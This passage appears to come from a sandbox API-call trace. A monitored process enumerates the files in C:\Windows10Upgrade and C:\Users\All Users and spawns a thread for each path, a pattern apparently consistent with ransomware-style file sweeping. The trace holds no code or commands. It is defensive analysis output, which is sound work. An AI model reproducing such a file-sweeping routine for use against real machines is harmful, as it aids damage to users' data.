ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea387cd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2652, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnableWiFiTracing.cmd", cAlternateFileName="ENABLE~1.CMD")) returned 1 [0059.035] wcscmp (_String1="EnableWiFiTracing.cmd", _String2=".") returned 1 [0059.036] wcscmp (_String1="EnableWiFiTracing.cmd", _String2="..") returned 1 [0059.036] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea389060, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea389060, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x10cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESDHelper.dll", cAlternateFileName="ESDHEL~1.DLL")) returned 1 [0059.036] wcscmp (_String1="ESDHelper.dll", _String2=".") returned 1 [0059.036] wcscmp (_String1="ESDHelper.dll", _String2="..") returned 1 [0059.036] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38cadd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38cadd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="esdstub.dll", cAlternateFileName="")) returned 1 [0059.036] wcscmp (_String1="esdstub.dll", _String2=".") returned 1 [0059.036] wcscmp (_String1="esdstub.dll", _String2="..") returned 1 [0059.036] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38de7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38de7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x89ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherOSState.EXE", cAlternateFileName="GATHER~1.EXE")) returned 1 [0059.036] wcscmp (_String1="GatherOSState.EXE", _String2=".") returned 1 [0059.036] wcscmp (_String1="GatherOSState.EXE", _String2="..") returned 1 [0059.036] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x33cd9d0 [0059.036] wcscpy (in: _Dest=0x33cd9d0, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.036] wcscat (in: _Dest=0x33cd9d0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.036] wcscat (in: _Dest=0x33cd9d0, _Source="GatherOSState.EXE" | out: _Dest="C:\\Windows10Upgrade\\GatherOSState.EXE") returned="C:\\Windows10Upgrade\\GatherOSState.EXE" [0059.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0059.037] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39058e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39058e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x83cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentDeploy.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0059.037] wcscmp (_String1="GetCurrentDeploy.dll", _String2=".") returned 1 [0059.037] wcscmp (_String1="GetCurrentDeploy.dll", _String2="..") returned 1 [0059.037] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea392ca4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea392ca4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~2.DLL")) returned 1 [0059.037] wcscmp (_String1="GetCurrentOOBE.dll", _String2=".") returned 1 [0059.037] wcscmp (_String1="GetCurrentOOBE.dll", _String2="..") returned 1 [0059.037] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39539e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39539e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x11ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.EXE", cAlternateFileName="GETCUR~1.EXE")) returned 1 [0059.037] wcscmp (_String1="GetCurrentRollback.EXE", _String2=".") returned 1 [0059.037] wcscmp (_String1="GetCurrentRollback.EXE", _String2="..") returned 1 [0059.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x33cda28 [0059.037] wcscpy (in: _Dest=0x33cda28, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.037] wcscat (in: _Dest=0x33cda28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.037] wcscat (in: _Dest=0x33cda28, _Source="GetCurrentRollback.EXE" | out: _Dest="C:\\Windows10Upgrade\\GetCurrentRollback.EXE") returned="C:\\Windows10Upgrade\\GetCurrentRollback.EXE" [0059.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cda28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0059.038] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39673d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39673d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x6cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HttpHelper.exe", cAlternateFileName="HTTPHE~1.EXE")) returned 1 [0059.038] wcscmp (_String1="HttpHelper.exe", _String2=".") returned 1 [0059.038] wcscmp (_String1="HttpHelper.exe", _String2="..") returned 1 [0059.038] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x33d2a28 [0059.038] wcscpy (in: _Dest=0x33d2a28, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.038] wcscat (in: _Dest=0x33d2a28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.038] wcscat (in: _Dest=0x33d2a28, _Source="HttpHelper.exe" | out: _Dest="C:\\Windows10Upgrade\\HttpHelper.exe") returned="C:\\Windows10Upgrade\\HttpHelper.exe" [0059.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0059.039] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PostOOBEScript.cmd", cAlternateFileName="POSTOO~1.CMD")) returned 1 [0059.039] wcscmp (_String1="PostOOBEScript.cmd", _String2=".") returned 1 [0059.039] wcscmp (_String1="PostOOBEScript.cmd", _String2="..") returned 1 [0059.039] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0059.039] wcscmp (_String1="resources", _String2=".") returned 1 [0059.039] wcscmp (_String1="resources", _String2="..") returned 1 [0059.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3c) returned 0x33fd2c8 [0059.039] wcscpy (in: _Dest=0x33fd2c8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.039] wcscat (in: _Dest=0x33fd2c8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.039] wcscat (in: _Dest=0x33fd2c8, _Source="resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources" [0059.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0059.040] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea9ef415, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea9ef415, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x624407ed, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0x3d14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="upgrader_default.log", cAlternateFileName="UPGRAD~1.LOG")) returned 1 [0059.040] wcscmp (_String1="upgrader_default.log", _String2=".") returned 1 [0059.040] wcscmp (_String1="upgrader_default.log", _String2="..") returned 1 [0059.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x33ca330 [0059.040] wcscpy (in: _Dest=0x33ca330, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.040] wcscat (in: _Dest=0x33ca330, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.040] wcscat (in: _Dest=0x33ca330, _Source="upgrader_default.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log") returned="C:\\Windows10Upgrade\\upgrader_default.log" [0059.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ca330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0059.041] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccdc86a8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x32fe02cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x0, cFileName="upgrader_win10.log", cAlternateFileName="UPGRAD~2.LOG")) returned 1 [0059.041] wcscmp (_String1="upgrader_win10.log", _String2=".") returned 1 [0059.041] wcscmp (_String1="upgrader_win10.log", _String2="..") returned 1 [0059.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33ca390 [0059.041] wcscpy (in: _Dest=0x33ca390, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.041] wcscat (in: _Dest=0x33ca390, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.041] wcscat (in: _Dest=0x33ca390, _Source="upgrader_win10.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log") returned="C:\\Windows10Upgrade\\upgrader_win10.log" [0059.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ca390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0059.042] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63f06a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63f06a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x880c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wimgapi.dll", cAlternateFileName="")) returned 1 [0059.042] wcscmp (_String1="wimgapi.dll", _String2=".") returned 1 [0059.042] wcscmp (_String1="wimgapi.dll", _String2="..") returned 1 [0059.042] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea642af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea642af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xdf8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="windlp.dll", cAlternateFileName="")) returned 1 [0059.042] wcscmp (_String1="windlp.dll", _String2=".") returned 1 [0059.042] wcscmp (_String1="windlp.dll", _String2="..") returned 1 [0059.042] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64a022, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64a022, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x159ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10UpgraderApp.exe", cAlternateFileName="WINDOW~1.EXE")) returned 1 [0059.042] wcscmp (_String1="Windows10UpgraderApp.exe", _String2=".") returned 1 [0059.042] wcscmp (_String1="Windows10UpgraderApp.exe", _String2="..") returned 1 [0059.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8738 [0059.042] wcscpy (in: _Dest=0x33e8738, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.042] wcscat (in: _Dest=0x33e8738, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.042] wcscat (in: _Dest=0x33e8738, _Source="Windows10UpgraderApp.exe" | out: _Dest="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe") returned="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe" [0059.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0059.043] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64ee41, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64ee41, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp32.exe", cAlternateFileName="WINREB~1.EXE")) returned 1 [0059.043] wcscmp (_String1="WinREBootApp32.exe", _String2=".") returned 1 [0059.043] wcscmp (_String1="WinREBootApp32.exe", _String2="..") returned 1 [0059.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33ca4f8 [0059.043] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.043] wcscat (in: _Dest=0x33ca4f8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.043] wcscat (in: _Dest=0x33ca4f8, _Source="WinREBootApp32.exe" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp32.exe") returned="C:\\Windows10Upgrade\\WinREBootApp32.exe" [0059.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ca4f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0059.044] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 1 [0059.044] wcscmp (_String1="WinREBootApp64.exe", _String2=".") returned 1 [0059.044] wcscmp (_String1="WinREBootApp64.exe", _String2="..") returned 1 [0059.044] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33ca550 [0059.044] wcscpy (in: _Dest=0x33ca550, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade" [0059.044] wcscat (in: _Dest=0x33ca550, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0059.044] wcscat (in: _Dest=0x33ca550, _Source="WinREBootApp64.exe" | out: _Dest="C:\\Windows10Upgrade\\WinREBootApp64.exe") returned="C:\\Windows10Upgrade\\WinREBootApp64.exe" [0059.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ca550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0059.076] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x34237c8 | out: lpFindFileData=0x34237c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 0 [0059.077] FindClose (in: hFindFile=0x33dff58 | out: hFindFile=0x33dff58) returned 1 [0059.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34237c8) returned 1 [0059.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341b478) returned 1 [0059.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8760) returned 1 [0059.078] RtlExitUserThread (Status=0x0) Thread: id = 26 os_tid = 0xd14 [0060.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2a) returned 0x33e9718 [0060.260] wcscpy (in: _Dest=0x33e9718, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0060.260] wcscat (in: _Dest=0x33e9718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0060.260] wcscat (in: _Dest=0x33e9718, _Source="*" | out: _Dest="C:\\Users\\All Users\\*") returned="C:\\Users\\All Users\\*" [0060.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x341e880 [0060.260] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dff58 [0060.262] wcscmp (_String1=".", _String2=".") returned 0 [0060.262] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.262] wcscmp (_String1="..", _String2=".") returned 1 [0060.262] wcscmp (_String1="..", _String2="..") returned 0 [0060.262] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0060.262] wcscmp (_String1="Adobe", _String2=".") returned 1 [0060.262] wcscmp (_String1="Adobe", _String2="..") returned 1 [0060.265] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e05d8 [0060.265] wcscpy (in: _Dest=0x33e05d8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0060.265] wcscat (in: _Dest=0x33e05d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0060.265] wcscat (in: _Dest=0x33e05d8, _Source="Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0062.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e05d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0062.275] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0062.275] wcscmp (_String1="Application Data", _String2=".") returned 1 [0062.275] wcscmp (_String1="Application Data", _String2="..") returned 1 [0062.275] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0062.275] wcscmp (_String1="Comms", _String2=".") returned 1 [0062.275] wcscmp (_String1="Comms", _String2="..") returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433b28 [0062.275] wcscpy (in: _Dest=0x3433b28, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.275] wcscat (in: _Dest=0x3433b28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.275] wcscat (in: _Dest=0x3433b28, _Source="Comms" | out: _Dest="C:\\Users\\All Users\\Comms") returned="C:\\Users\\All Users\\Comms" [0062.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0062.276] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0062.276] wcscmp (_String1="Desktop", _String2=".") returned 1 [0062.276] wcscmp (_String1="Desktop", _String2="..") returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433c68 [0062.276] wcscpy (in: _Dest=0x3433c68, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0062.276] wcscat (in: _Dest=0x3433c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0062.276] wcscat (in: _Dest=0x3433c68, _Source="Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0062.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0062.277] FindNextFileW (in: hFindFile=0x33dff58, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, 